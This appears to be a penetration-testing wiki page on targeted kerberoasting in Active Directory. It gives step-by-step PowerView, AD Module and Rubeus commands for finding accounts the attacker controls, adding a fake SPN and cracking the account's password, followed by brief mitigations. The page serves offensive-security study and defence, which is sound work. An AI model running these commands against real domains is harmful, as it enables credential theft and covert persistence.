Setting Object SPN's

Service Principal Names are unique identifiers used by Kerberos to associate a service instance with a service account. This allows clients to authenticate to services without having to know the information of the service account.

The SPN of the service must be registered on the account object running the service.

With either GenericAll or GenericWrite privileges on a user we can set a SPN for that user (Domain Admins included) which will then allow us to kerberoast and obtain the password for use later. It takes advantage of the fact that any account with a SPN can be kerberoasted.

There are two avenues to take depending on why you would like to set a SPN[1]:

  1. Add a real SPN to a Domain Admin for persistence.

  2. Create a fake SPN for an account you would like to obtain a password for.

This technique can also be a stealthy way to obtain persistence as long as you are not adding an SPN to an account that already has an SPN.

Steps to Take

Step 1 - Find Users Who You Have These Privileges Over

# PowerView_dev
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match '<group>'}

Step 2 - Find Out if the User Already Has a SPN

#PowerView_dev
Get-DomainUser -Identity <user> -Properties ServicePrincipalName

# AD Module
Get-ADUser -Identity <user> -Properties ServicePrincipalName

Step 3 - Set a SPN for the User

  • Make sure it is unqiue for the domain.

# PowerView_dev
Set-DomainObject -Identity <user> -Set @{serviceprincipalname='<anything>/<anything>'}

# AD Module
Set-ADUser -Identity <user> -ServicePrincipalNames @{Add='<anything>/<anything>'}

Step 4 - Check If the User Has a New SPN By Repeating Step 2

Step 5 - Kerberoast the Account

.\rubeus.exe kerberoast

Mitigations

  • For any account with SPNs already set, give them long and complex passwords and change them at least once a year.

  • Check for old service accounts and remove the SPNs if necessary.

  • Be cautious setting SPNs and give SPN only to those accounts that require them.

References

[1]: https://adsecurity.org/?p=3466

Last updated